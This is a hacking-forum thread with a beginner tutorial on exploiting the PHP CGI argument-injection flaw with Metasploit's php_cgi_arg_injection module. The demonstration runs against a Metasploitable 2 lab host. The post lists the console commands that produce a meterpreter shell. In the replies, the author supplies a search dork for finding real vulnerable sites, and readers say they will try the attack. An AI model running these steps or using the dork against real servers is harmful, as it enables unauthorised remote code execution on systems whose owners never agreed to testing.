Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[Tutorial]PHP CGI ARGUMENT INJECTION using Metasploit[/Noob-Friendly]


[Image: 23tPYeM.gif]
"We are enlightenment to some, nightmare to others."

[Image: fRNYIQd.png]

Hello HackForum members ✌,
On the behalf of Nightmare group today i would like to demonstrate How we can do PHP CGI ARGUMENT INJECTION using Metasploit.

REFERENCES
So, If have you Don't know about metasploit then check my then tutorials:-
==>[Part 1]$~Metasploit for beginners<==

==>[Part 2]$~Metasploit for beginners<==

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters[updatated]<==

[Image: fRNYIQd.png]

So, If you already know about Metasploit then lets start.

The module that we are going to use is :-exploit/multi/http/php_cgi_arg_injection

About this vulnerablity-by Rapid7
So they say-"When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary.""

This means that if we try to pass/add some parameter we can run some arbitrary code using it.

So lets try to exploit it.

We are going to use Metasploitable 2.

1. Open Metasploit console.
[Image: H8B4rmb.png]

2. Then just select php_cgi_arg_injection module.

PHP Code

<?php 
msf
> use exploit/multi/http/php_cgi_arg_injection 

[Image: 8a6B1oA.png]

3. Now just set the options and exploit.
Quote:msf exploit(php_cgi_arg_injection) > set RHOST 172.16.18.134
RHOST => 172.16.18.134

msf exploit(php_cgi_arg_injection) > exploit

And done we got a meterpreter session.

[Image: rczIdmz.png]

4. Wanna check the info then type sysinfo their.
[Image: fnpqC7b.png]

[Image: fRNYIQd.png]

Hope you liked my tutorial 👍

It took me 1 Hour to make this tutorial, But it will take only 1 sec. to leave a review/reply here. Please comment if you like this tutorial.

Check these amazing threads also.
[Image: ma9LeWX.png]
==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==


==>Beginners Hacking Helpdesk<-Ask Your Questions Here<==

==>[Mega Tutorial Links]SQL-Injection all tutorials by Spirit<==

==>An ultimate reference for all Beginners Hackers<==
[Image: fRNYIQd.png]
Thanks 🤝




Good demonstration of simple Metasploit execution, any dorks for the vulnerable php pages?
(Sep 10, 2016 02:46 AM)Fộrcəd Wrote:  Good demonstration of simple Metasploit execution, any dorks for the vulnerable php pages?

Thanks for the reply mate 🙂 and i am glad to hear that you liked it as well. 🤝

This is the only old dork that i know:-Intext:"Powered By phpFox Version 3.0.1"

Thanks 🤝
Vouch for OP. Nice tutorial, bookmarked.
(Sep 10, 2016 05:14 AM)Anxious.exe Wrote:  Vouch for OP. Nice tutorial, bookmarked.

Thanks brother Hope you will like these tutorials also 👍

==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==

Thanks 🤝
Cool! Gonna give it a shot right now!
(Sep 10, 2016 09:33 AM)SIM-345911 Wrote:  Cool! Gonna give it a shot right now!

Sure Best of luck 👍
Looks good op, you seem to know what you are doing
(Sep 10, 2016 11:40 AM)Mysticalcx Wrote:  Looks good op, you seem to know what you are doing

thanks brother 🤝
Nice and HQ contribution here! Short of words, but covers all the necessary steps, HQ add.
Again, a shame you have been denied for ub3r i hope one day you may have luck by trying again, that time getting accepted then hopefully.
Keep it up mate, your contributions are very appreciated. Cheers, Gee.
(Sep 12, 2016 11:36 AM)Gee4rce Wrote:  Nice and HQ contribution here! Short of words, but covers all the necessary steps, HQ add.
Again, a shame you have been denied for ub3r i hope one day you may have luck by trying again, that time getting accepted then hopefully.
Keep it up mate, your contributions are very appreciated. Cheers, Gee.

Thanks for your kind words brother , really appreciated 🤝
thank you you are the best


Possibly Related Threads...
Thread / Author Replies Views Last Post
by onlineuser | D3RFEROct 22, 2025 04:56 PM 0 72 Oct 22, 2025 04:56 PM
Last Post: onlineuser | D3RFER
by BeggFoMercyOct 13, 2020 08:12 AM 6 281 Oct 13, 2020 08:12 AM
Last Post: satoshikilla
by spirited_wolf™Nov 11, 2019 12:06 AM 6 627 Nov 11, 2019 12:06 AM
Last Post: d452497